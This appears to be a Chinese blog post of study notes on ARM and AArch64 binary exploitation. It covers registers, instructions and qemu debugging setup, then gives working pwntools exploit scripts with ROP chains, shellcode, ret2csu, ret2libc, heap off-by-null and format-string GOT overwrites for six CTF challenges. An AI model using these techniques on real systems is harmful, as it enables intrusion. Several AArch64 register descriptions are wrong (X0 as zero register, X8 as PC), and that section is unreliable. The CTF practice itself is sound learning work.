一些师傅的博客:

关于学习arm架构下的pwn的总结 - ZikH26 - 博客园 (cnblogs.com)

arm pwn 入门 | blingbling’s blog (blingblingxuanxuan.github.io)

IOT pwn_apt install mips-linux-CSDN博客

[原创] CTF 中 ARM & AArch64 架构下的 Pwn-Pwn-看雪-安全社区|安全招聘|kanxue.com

也参考了许多其他师傅们的博客,这里不一一贴出来了。

最近刚好在看 《计算机组成原理( Alan Clements )》,以ARM体系架构为例,详细介绍其指令集、寄存器结构、指令执行流程等核心内容。对arm入门很有帮助。

目录

- ARM寄存器集

- ARM指令集

- ARM PWN环境搭建

ARM寄存器集

ARM指令集体系结构属于RISC(精简指令集) 32位 寄存器-寄存器型的体系结构,使用load/stort指令在存储器与寄存器之间移动数据

具有规整的32位指令格式,不能够像Pentium那样的CISC处理器将地址以及16位或者32位数据加载到寄存器中。

ARM32寄存器集

  • R0 存储临时变量 或者 函数返回值
  • R0~R3 四个寄存器存储函数调用时前4个参数 多余参数放到栈上
  • R7 系统调用号
  • R11寄存器即可以用来记录回溯信息,也可以当做局部变量来使用 –> 相当于ebp FP
  • R13 SP 指向栈顶
  • R14 LP 存放函数返回地址
  • R15 PC(程序计数器) IP 与x86不同的点在于PC在ARM状态下存储当前指令+8的地址。

image-20240711122858943

当前状态处理器(CPSR):Z(零) N(负) C(进位) V(溢出),低八位包含系统信息

aarch寄存器集

X0: 也称为零寄存器,用于存储函数的返回值、传递函数参数和临时存储变量。

X1-X7: 用于传递函数参数和临时存储变量。

X8: 也称为程序计数器(PC),用于存储当前正在执行的指令的地址。当处理器执行一条指令时,PC会自动递增以指向下一条指令。

X9-X15: Caller Saved寄存器,用于存储函数参数、局部变量和临时数据。

X16-X17: 也称为临时寄存器,用于存储临时数据,这些寄存器在函数调用期间不需要保留其值。

X18: 也称为平台相关寄存器,用于存储与特定平台相关的信息,如TLS(线程本地存储)指针。

X19-X28: Callee Saved寄存器,于存储函数参数、局部变量和临时数据。

X29: 也称为帧指针寄存器(Frame Pointer,FP),用于存储当前函数的堆栈帧指针。当函数调用发生时,x29寄存器的值被保存到堆栈中,以便在函数执行期间可以轻松地访问上一级函数的堆栈帧。这样,当函数返回时,可以通过恢复x29寄存器的值来恢复到正确的堆栈帧。

X30: 也称为链接寄存器(Link Register,LR),用于存储函数调用的返回地址。当函数执行完毕时,处理器将使用x30寄存器中存储的返回地址来恢复到调用点。这样,控制流程可以顺利返回到调用函数的位置继续执行。

X31: SP 栈顶

ARM指令集

基础指令

指令 功能 指令 功能
MOV 移动数据 EOR 按位异或
MVN 移动数据并取反 LDR 加载
ADD 加法 STR 存储
SUB 减法 LDM 加载多个
MUL 乘法 STM 存储多个
LSL 逻辑左移 PUSH 入栈
LSR 逻辑右移 POP 出栈
ASR 算术右移 B 跳转
ROR 右旋 BL Link+跳转
CMP 比较 BX 分支跳转
AND 按位与 BLX Linx+分支跳转
ORR 按位或 SWI/SVC 系统调用

条件分支

编码 助记符 分支标志和状态 执行条件
0000 EQ z置位 相等 0
0001 NE z清零 不等 !0
0010 CS c置位 无符号大于等于
0011 CC c清零 无符号小于
0100 MI n置位
0101 PL n清零 正或零
0110 VS v置位 溢出
0111 VC v清零 未溢出
1000 HI c置位 z清零 无符号大于
1001 LS c清零 z置位 无符号小于等于
1010 GE n、v同时置位或清零 大于等于
1011 LT n、v分别置位或清零 小于
1100 GT z清零 n、v同时置位或清零 大于
1101 LE z置位 n、v分别置位或清零 小于等于
1110 AL 总是
1111 NV 从不

ARM通过块移动实现一个非常复杂的栈结构

test STMFD r13!, {r0-r4, r10, r14} ;保存工作寄存器,并将返回地址保存在r14中

​ ……

​ LDMFD r13!, {r0-r4, r10, r15} ; 恢复工作寄存器,把r14送入PC中

ARM PWN环境搭建

基础环境安装可看这位师傅【Pwn 笔记】跨平台架构的环境配置与调试 | binLep’s Blog,写得很详细

使用qemu构建一个虚拟环境来运行arm文件,使用gdb-multiarch连接到qemu,进行远程调试

AArch64:是ARMv8及更高版本中引入的64位架构。而qemu-arm用于模拟32位的ARM架构的二进制文件,qemu-aarch64用于模拟64位的ARM aarch64架构的二进制文件

wARMup: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=fbe5794e95d6ea5006ea3137c0120ed945acae17, not stripped –> qemu-arm模拟

shanghai_baby_arm: ELF 64-bit LSB executable, ARM aarch64, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-aarch64.so.1, for GNU/Linux 3.7.0, BuildID[sha1]=e988eaee79fd41139699d813eac0c375dbddba43, stripped –> qemu-aarch模拟

qemu进行模拟时使用-L加载对应架构的链接库(在usr目录下)

1
2
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu/ ./pwn
qemu-arm -g 8888 -L /usr/arm-linux-gnueabihf/ ./pwn

然后启动gdb-multiarch:

1
2
set architecture arm/aarch64  #指定目标架构
target remote localhost:1234/8888

运行pwn脚本时附加进程

1.给程序加个pause(),qemu模拟时设置-g port,然后gdb-multiarch附加上去。

2.向群u请教后,可以通过pwntools中的attach附加进程上去。但是好像只能在程序交互前attach上去,不然会无法交互

1
2
3
io = process('qemu-arm -L ./ -g 2222 pwnfile'.split(' '), env=env)
gdb.attach(('127.0.0.1', 2222), '''b *_start''', exe='pwnfile')
sleep(2)

端口冲突:netstat -lnp查看占用PID kill -9 PID 删除进程

一些有关qemu的知识:qemu起的虚拟环境保护全关。关闭了ASLR:启动的地址是固定的;关闭了NX:shellcode可执行。通过判断远程环境是qemu起的还是实体机起的,如果是qemu一般直接用ret2shellcode,否则泄露+attack。即使所给的二进制文件开了NX和pie,也只是对真机环境有效,qemu中还是没有保护。

题目一:32位 arm架构 静态

image-20240712112344579

1
2
3
4
5
qemu-arm -g 1234 ./typo

gdb-multiarch ./typo
pwndbg> set architecture arm
pwndbg> target remote localhost:1234

由于是静态链接,所以函数会会很乱,定位主函数方法:

  1. 通过字符串找到一些特征字符串,题目中的描述之类的,根据交叉调用,不断跟进父函数,判断当前函数是否为主函数
  2. 定位_start函数,分析_start调用,它最终会调用mian函数或者是封装的__libc_start_main函数

image-20240712114313268

发现sub_8F00为main函数

image-20240712133835929

然后边调边逆,猜测一些函数作用

image-20240712152641078

在0x221c8处下断点

在循环中,函数会断在该处,输入0x200字节数据

image-20240712134108103

调用完read以后,断点下在0x00008d60

image-20240712135409083

R11 -> 0xfffef064 —▸ 0x9058 ◂— str r0, [fp, #-0x20] /* ‘ ‘ */ ,0x9058指令是readin()的下一条指令,当我们覆盖了0xfffef064中的值为布置好的shellcode地址,就能控制程序在调用完readin()后,通过r11来恢复恢复PC。偏移为0x70字节

1
2
pwndbg> p/x 0xfffef064-0xfffeeff4
$1 = 0x70

由于没有开NX保护,栈上shellcode可执行,可以控制R11 -> shellcode_addr,但是shellcode写到栈上,需要栈地址,不过qemu起的环境没开ASLR,可以直接用栈地址返回。

通过ROPgadget来打,构造ROP链,执行system(“/bin/sh”),或者execve(“/bin/sh”, 0, 0)

首先我们需要知道:arm函数调用参数规则:R0~R4,再是栈上,R7为系统调用号,r15=PC指向下一条命令地址

execve系统调用号0xb,挟持PC执行svc中断,使用ROPgadget找不到pop r15的gadget

execve(“/bin/sh”, 0, 0) –> r0 = bin_sh_addr r1=0 r2=0 r7=b

pc = svc_addr

image-20240712141834090

1
2
3
4
5
0x00020904 : pop {r0, r4, pc}
0x00068bec : pop {r1, pc}
0x00014068 : pop {r7, pc}
0x0004df00 : mov r2, #0 ; mov r0, r2 ; pop {r3, r4, r5, pc}
0x0000fed0 : svc #0 ; pop {r3, r4, r5, r6, r7, pc}

然后就是把他们组装起来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(arch='arm',log_level='debug')

io = process(['qemu-arm','./typo'])
io.sendlineafter(b'quit\n', b'\n')

# 0x00020904 : pop {r0, r4, pc}
# 0x00068bec : pop {r1, pc}
# 0x00014068 : pop {r7, pc}
# 0x0004df00 : mov r2, #0 ; mov r0, r2 ; pop {r3, r4, r5, pc}
# 0x0000fed0 : svc #0 ; pop {r3, r4, r5, r6, r7, pc}

r0_r4 = 0x00020904
r1 = 0x00068bec
r7 = 0x00014068
r3_r4_r5 = 0x0004df00 #r0=r2=0
svc = 0x0000fed0
bin_sh= 0x0006C384

payload = flat([ cyclic(112), p32(r3_r4_r5), p32(0)*3, #r2 = 0
p32(r0_r4), p32(bin_sh) , p32(0), #r0 = bin_sh_addr
p32(r1), p32(0), #r1 = 0
p32(r7), p32(0xb), #r7 = 0xb
p32(svc)]) #pc = svc_addr

io.recv()
io.sendline(payload)

io.interactive()

恢复符号表

看了winmt师傅的文章,可以使用Rizzo插件来修复符号表:

  1. 先将对应的libc.so下载下来
  2. 然后用IDA打开libc.so,使用Rizzo导出为libc.so.riz
  3. 打开目标程序,使用Rizzo加载.riz

但是本地没加载出来 ~_~

需要知道编译的libc版本才能修复,网上找的libc是2.27-3ubuntu1 : libc6 : arm64 : Bionic (18.04) : Ubuntu (launchpad.net),可能是libc找错了

尝试用了阿里公开的finger函数识别插件分析,貌似arm架构的函数识别不出来。。。

也试了下sig-database里面提供的sig文件,利用ida自带的FLIRT进行签名,2.23到2.27都试了一通,只匹配出来三个函数,2.28+作者没有构建arm架构的sig文件了。

很是让人郁闷,不过学习了很多恢复符号表的方法。^-^

题目二:32位 arm架构 动态

InCTF-2018 wARMup

image-20240712150714341

没开pie 32位arm架构bss段可执行

主函数溢出0x10字节

image-20240712151053165

image-20240712155049004

read通过r11-0x68来设置目标地址,如果我们设置函数的返回地址为0x1052c,控制R11的值,就能实现任意地址写

函数最后会将SP指针向低地址减少4字节,后面执行的 POP {R11, PC} 从SP开始,所以填充的payload长度应该为 $r11 - $r1 -4 = 0x64,后面四字节为R11,接下来才会弹给PC。

先构造任意写,往bss段上写shellcode,然后再改返回函数地址执行shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(arch='arm', log_level='debug')

# io = process('qemu-arm -L /usr/arm-linux-gnueabihf/ -g 4444 ./wARMup', shell = True)
io = process('qemu-arm -L /usr/arm-linux-gnueabihf/ ./wARMup', shell = True)

bss = 0x021100
payload = flat([cyclic(0x64), p32(bss+0x68), #r11 -> bss
p32(0x01052C) #read(0, bss-0x68, 0x78)
])
io.sendlineafter(b'Welcome to bi0s CTF!\n', payload)

shellcode = asm('''
add r0, pc, #12
mov r1, #0
mov r2, #0
mov r7, #11
svc 0
.ascii "/bin/sh\\0"
''')

payload = shellcode.ljust(0x68, b'\x00') + p32(bss)

# pause()

io.send(payload)
io.interactive()

不过ZIKH26师傅的payload有些理不清

题目三:64位 aarch64架构 动态

上海骇极杯 2018 baby_arm

sky123师傅写了,可以修改pwndbg/lib/regs.py中的寄存器的定义名,这样pwndbg就能显示出$31$30等寄存器名称

image-20240712184024595

往bss段上写数据,然后存在栈溢出

image-20240712184140558

aarch64指令集中:x0~x7传参 x29 栈顶指针 x30 LR

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
 X0   0x0
X1 0x40007fff00 ◂— 0x6161616261616161 ('aaaabaaa')
X2 0x200
X3 0x40009b1500 ◂— 0
X4 0x0
X5 0x9f075092a1c1abdb
X6 0x40009adb10 ◂— 0
X7 0x40000000000
X8 0x3f
X9 0xffff
X10 0x0
X11 0x0
X12 0x4000841e48 ◂— udf #0
X13 0x0
X14 0x0
X15 0x6fffff47
X16 0x411028 —▸ 0x4000901b40 ◂— stp x29, x30, [sp, #-0x30]!
X17 0x4000901b40 ◂— stp x29, x30, [sp, #-0x30]!
X18 0x73516240
X19 0x400868 ◂— stp x29, x30, [sp, #-0x40]!
X20 0x0
X21 0x400610 ◂— mov x29, #0
X22 0x0
X23 0x0
X24 0x0
X25 0x0
X26 0x0
X27 0x0
X28 0x0
X29 0x6161617261616171 ('qaaaraaa')
X30 0x6161617461616173 ('saaataaa')
SP 0x40007fff50 ◂— 0x6161617661616175 ('uaaavaaa')
*PC 0x61617461616173

在main函数返回时,x30->‘saaataaa’ offset=72

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch='aarch64',log_level='debug')

io = process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu/','./shanghai_baby_arm'])

shellcode = asm(shellcraft.sh())
io.sendlineafter(b'Name:', shellcode)
sleep(0.3)
payload = cyclic(72) + p64(0x411068) #PC -> bss_addr <- shellcode
io.sendline(payload)

io.interactive()

ret2csu

mprotect(bss, 0x1000, 7) -> x0 = bss_addr x1=0x1000 x2=7 x3=mprotect_plt

csu -> x24 = bss_addr x23 = 0x1000 x22 = 7 x21=mprotect_plt x19=0 x20=1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
.text:00000000004008AC loc_4008AC                              ; CODE XREF: init+60↓j -->csu2
.text:00000000004008AC LDR X3, [X21,X19,LSL#3]
.text:00000000004008B0 MOV X2, X22
.text:00000000004008B4 MOV X1, X23
.text:00000000004008B8 MOV W0, W24
.text:00000000004008BC ADD X19, X19, #1
.text:00000000004008C0 BLR X3
.text:00000000004008C4 CMP X19, X20
.text:00000000004008C8 B.NE loc_4008AC
.text:00000000004008CC
.text:00000000004008CC loc_4008CC ; CODE XREF: init+3C↑j -->csu1
.text:00000000004008CC LDP X19, X20, [SP,#var_s10]
.text:00000000004008D0 LDP X21, X22, [SP,#var_s20]
.text:00000000004008D4 LDP X23, X24, [SP,#var_s30]
.text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40
.text:00000000004008DC RET

布置csu1:先布置x29和x30,x30存储函数调用的返回地址,在执行ret后调用,控制x30指向csu2,实现第一次控制流挟持;然后控制对应寄存器在csu2中的赋值

控制csu2:按照对应寄存器进行赋值,然后x19+1,会与x20比较,如果相等就会继续执行csu1,此时通过布置栈空间可以再次控制x30,执行到ret时能够实现第二次控制流挟持。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
context(arch='aarch64',log_level='debug')

# io = process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu/','-g','9999', './shanghai_baby_arm'])
io = process(['qemu-aarch64','-L','/usr/aarch64-linux-gnu/', './shanghai_baby_arm'])
elf = ELF('./shanghai_baby_arm')
bss = 0x411068

shellcode = asm(shellcraft.aarch64.sh()).ljust(0x100, b'\x00') + p64(elf.plt['mprotect']) #0x411068
io.sendafter(b'Name:', shellcode)
sleep(0.3)

# .text:00000000004008AC loc_4008AC ; CODE XREF: init+60↓j -->csu2
# .text:00000000004008AC LDR X3, [X21,X19,LSL#3]
# .text:00000000004008B0 MOV X2, X22
# .text:00000000004008B4 MOV X1, X23
# .text:00000000004008B8 MOV W0, W24
# .text:00000000004008BC ADD X19, X19, #1
# .text:00000000004008C0 BLR X3
# .text:00000000004008C4 CMP X19, X20
# .text:00000000004008C8 B.NE loc_4008AC
# .text:00000000004008CC
# .text:00000000004008CC loc_4008CC ; CODE XREF: init+3C↑j -->csu1
# .text:00000000004008CC LDP X19, X20, [SP,#var_s10]
# .text:00000000004008D0 LDP X21, X22, [SP,#var_s20]
# .text:00000000004008D4 LDP X23, X24, [SP,#var_s30]
# .text:00000000004008D8 LDP X29, X30, [SP+var_s0],#0x40
# .text:00000000004008DC RET

csu1 = 0x00000000004008CC
csu2 = 0x00000000004008AC
#mprotect(bss_addr, 0x1000, 7) --> x19=0, x20=1, x21=mprotect_addr, x22=7, x23=0x1000, x24=bss_addr, x29=0xdeadbeef, x30=csu2

payload = cyclic(72) + p64(csu1)
payload += p64(0xdeadbeef) + p64(csu2) #x29 x30
payload += p64(0) + p64(1) #x19 x20
payload += p64(bss+0x100) + p64(7) #x21 x22
payload += p64(0x1000) + p64(0x411000) #x23 x24

payload += p64(0) + p64(bss) #x29 x30->shellcode
payload += p64(0)*6

# pause()
io.sendline(payload)

io.interactive()

当然也可以用第二题的思路,利用read(0, &buf, 0x200)实现任意地址写,然后往bss段里写数据,不过没意义罢了

image-20240712202911121

题目四:32位 arm ret2libc

Codegate2018 melong

给定了libc

image-20240712203449585

在write_diary函数中,nbytes大小可控,可能存在溢出,a2是main函数中的局部变量

image-20240712204410053

nbytes=*v8,v8是PT函数的返回值,我们需要尽可能控制v8为大数造成溢出

image-20240712204505676

PT函数,发现存在返回值size可控,我们的利用目标就是它了,但是我们需要控制ptr==exc2,exc2位于bss段中,初始化为0

当malloc失败时返回值为0

image-20240712204759900

在这些之前,需要进入check给v6赋值才能接下来操作

所以我们先进入case1设置v6=!0,然后进入case3输入size=-1从而malloc失败,使ptr=exc2=0,size_t的size被赋值为了0xffffffff,之后进入case4的write_diary,通过 LDRB R3, [R11,#nbytes] 从R11的-5偏移处加载一字节到R3寄存器中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
.text:000106D4 write_diary                             ; CODE XREF: main+184↓p
.text:000106D4
.text:000106D4 buf = -0x14
.text:000106D4 var_10 = -0x10
.text:000106D4 nbytes = -5
.text:000106D4
.text:000106D4 PUSH {R11,LR}
.text:000106D8 ADD R11, SP, #4
.text:000106DC SUB SP, SP, #0x10
.text:000106E0 STR R0, [R11,#var_10]
.text:000106E4 STR R1, [R11,#buf]
.text:000106E8 LDR R3, [R11,#var_10]
.text:000106EC LDR R3, [R3]
.text:000106F0 STRB R3, [R11,#nbytes]
.text:000106F4 LDRB R3, [R11,#nbytes]
.text:000106F8 CMP R3, #0
.text:000106FC BEQ loc_10720
.text:00010700 LDRB R3, [R11,#nbytes]
.text:00010704 MOV R2, R3 ; nbytes
.text:00010708 LDR R1, [R11,#buf] ; buf
.text:0001070C MOV R0, #0 ; fd
.text:00010710 BL read
.text:00010714 LDR R1, [R11,#buf]
.text:00010718 LDR R0, =format ; "you wrote %s\n"
.text:0001071C BL printf

最终实现read(0, v5, 0xff),v5为主函数的局部变量,离栈底只有0x54字节长

image-20240713132058100

可以直接用栈地址作为返回地址,将shellcode布置在栈上,打ret2shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/env python
# coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

def chk():
sla(b'Type the number:', str(1))
sla(b'Your height(meters) : ', str(1.65))
sla(b'Your weight(kilograms) : ', str(100))
sla(b'Type the number:', str(3))
sla(b'How long do you want to take personal training?\n', str(-1))

if __name__ == '__main__' :
# context.log_level = 'info'
context.arch = 'arm'
IPort = '127.0.0.1 12345'
pwnfile = './melong'
libc_name = './lib/libc.so.6'
elf = ELF(pwnfile)
libc = ELF(libc_name)

# io = initc(pwnfile, IPort, 'qemu-arm -L ./ ./melong')
io = initc(pwnfile, IPort, 'qemu-arm -L ./ -g 12345 ./melong')
# gdb.attach(('127.0.0.1', 12345), 'b *0x01117C', pwnfile)
dbg('b *0x01126C \n b *0x0010710')

chk()
sla(b'Type the number:', str(4))
shellcode = b"\x02\x20\x42\xe0\x1c\x30\x8f\xe2"
shellcode += b"\x04\x30\x8d\xe5\x08\x20\x8d\xe5"
shellcode += b"\x13\x02\xa0\xe1\x07\x20\xc3\xe5"
shellcode += b"\x04\x30\x8f\xe2\x04\x10\x8d\xe2"
shellcode += b"\x01\x20\xc3\xe5\x0b\x0b\x90\xef"
shellcode += b"/bin/sh"
payload = shellcode.ljust(84, b'a') + p32(0xfffef0d0)
sl(payload)

sla(b'Type the number:', str(6))
itr()

ret2libc 构造puts泄露信息,需要利用PC控制puts调用后的下一条指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/env python
# coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

def chk():
sla(b'Type the number:', str(1))
sla(b'Your height(meters) : ', str(1.65))
sla(b'Your weight(kilograms) : ', str(100))
sla(b'Type the number:', str(3))
sla(b'How long do you want to take personal training?\n', str(-1))

if __name__ == '__main__' :
# context.log_level = 'info'
context.arch = 'arm'
IPort = '127.0.0.1 12345'
pwnfile = './melong'
libc_name = './lib/libc.so.6'
elf = ELF(pwnfile)
libc = ELF(libc_name)

io = initc(pwnfile, IPort, 'qemu-arm -L ./ ./melong')
# io = initc(pwnfile, IPort, 'qemu-arm -L ./ -g 12345 ./melong')
# dbg('b *0x01126C \n b *0x0010710')

puts_got = elf.got['puts']
main = elf.sym['main']

# .text:000110BC BL puts
# .text:000110C0 NOP
# .text:000110C4 POP {R11,PC}
# .text:000110C4 ; End of function check_first
puts= 0x000110BC

pr0 = 0x00011bbc
pr3 = 0x00010460
pr4 = 0x000105e4
pr11= 0x00011290

chk()
sla(b'Type the number:', str(4))

payload = cyclic(84) + p32(pr0) + p32(puts_got) + p32(puts) + p32(0) + p32(main)
sl(payload)
sla(b'Type the number:', str(6))

puts_addr = uu32(r32())
libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

chk()
sla(b'Type the number:', str(4))

payload = cyclic(84) + p32(pr0) + p32(bin_sh) + p32(system)
sl(payload)
sla(b'Type the number:', str(6))

leak("libc_base", libc_base)
itr()

题目五:aarch64架构 off by null

DASCTF 1月赛 ememarm

2.27 aarch64 的堆题

image-20240713151602487

去了符号表

edit函数中存在off by null漏洞

image-20240713152844453

本地交叉编译

异架构对于堆来说有些不太友好,题目只给了一个libc文件,如果是x86系列,能直接从网上下载deb文件加压到libc同级的.debug文件夹下,设置debug-file-directory为.debug文件夹,调试时就能自动加载符号。但是arm架构不能如此,参考winmt本地自行编译:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tar -xvf ./glibc-2.27.tar.xz
mkdir aarch64
mkdir build
cd build
CC=/usr/bin/aarch64-linux-gnu-gcc \
CXX=/usr/bin/aarch64-linux-gnu-g++ \
CFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
CXXFLAGS="-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
../configure \
--prefix=/ctf/work/archs/arm64/2.27/glibc-2.27/aarch64 \
--host=aarch64-linux \
--target=aarch64-linux \
--disable-werror
make
make install

然后在题目目录下:ln -s /ctf/work/archs/arm64/2.27/glibc-2.27/aarch64/lib ./

调试时能加载符号信息

image-20240714204402367

可惜pwngdb里面的命令会报错 或是不正确反映,以后看看能不能搞搞这个(搁着先)

image-20240714210328489

创造一个fake chunk,然后任意写改free_got为system,退出执行free(‘/bin/sh’)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
# coding = utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

def menu(num):
sla(b'you choice: \n', str(num))

def add0(cx=b'a', cy=b'b', ori=0):
menu(1)
sla(b'cx:\n', cx)
sla(b'cy:\n', cy)
sla(b'do you want delete?\n', str(ori))

def show(idx):
menu(2)
sl(str(idx))

def dele(idx, content=b''):
menu(3)
sl(str(idx))
s(content)


def add1(cx=b'c', cy=b'd', ori=0):
menu(4)
sla(b'cx:\n', cx)
sla(b'cy:\n', cy)
sla(b'do you want delete?\n', str(ori))

if __name__ == '__main__' :
# context.log_level = 'info'
context.arch = 'aarch64'
IPort = '127.0.0.1 12345'
pwnfile = './ememarm'
libc_name = './lib/libc.so.6'
elf = ELF(pwnfile)
libc = ELF(libc_name)

# io = initc(pwnfile, IPort, 'qemu-aarch64 -L ./ -g 12345 ./ememarm')
io = initc(pwnfile, IPort, 'qemu-aarch64 -L ./ ./ememarm')
# gdb.attach(('127.0.0.1', 12345), 'b *_start', pwnfile)
# dbg("b *0x00400D40 ")

sla(b'hello every one welcom my note ~~4268144\n', b'/bin/sh\x00')

add0(b'aaaa', b'bbbb', 0)
add0(b'cccc', b'dddd', 0)
add0(b'eeee', b'ffff', 1)

add1(b'gggg', p64(0x31), 1)
dele(1, p64(0) + p64(0x41) + b'deadbeef')
add1(b'hhhh', p64(elf.got['free']), 0)

dele(2, p64(0x4000831000 + libc.sym['system']))
menu(5)

itr()

题目六:aarch64架构 格式化字符串

WKCTF2024 something_changed

漏洞还是很简单,存在栈溢出和格式化字符串漏洞

image-20240714193242494

主要说一些比赛时候的思路:

通过不断测试远程printf来泄露栈地址 –> 发现泄露出来的地址固定不变 –> 猜测是用qemu起的环境 –> ret2shellcode备着 不过每次连接canary的值会变

qemu起的程序相当于保护全关 而且这道题本身就没开FULL RELRO和pie。还给了backdoor –> 优先 一次性改好 再是改printf二次利用

直接用一次性格式化字符串来改__stack_chk_fail_got为backdoor就行了

27275487-64e1-4985-9147-f9d421f1d03d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
# coding = utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

if __name__ == '__main__' :
# context.log_level = 'info'
context.arch = 'aarch64'
IPort = '1 1'
# IPort = '127.0.0.1 12345'
pwnfile = './silent'
libc_name = './lib/libc.so.6'
elf = ELF(pwnfile)
libc = ELF(libc_name)

io = initc(pwnfile, IPort, 'qemu-aarch64 -L ./ -g 12345 ./silent')
# dbg("b *0x04007F4 \n b *0x000400854")
# dbg("b *0x000400854")

scf = elf.got['__stack_chk_fail'] #14
backdoor = 0x00400770
payload = b'%1883c%c' + b'%0c%0c%0c%0c%0c%0c%0c%c%c%c%c%c%c%c%c%c%c%caa%hn' + p64(scf)
sl(payload)
itr()
#canary %19$p

杂七杂八

printf前

image-20240714194505752

printf后

image-20240714194737601

可以发现从 x1开始打印,到x7,然后开始打印栈上的数据

printf的源码有空再看咯,先贴一位师傅的博客格式化字符串漏洞利用 - WJH’s Blog (wjhwjhn.com),原理就在这里。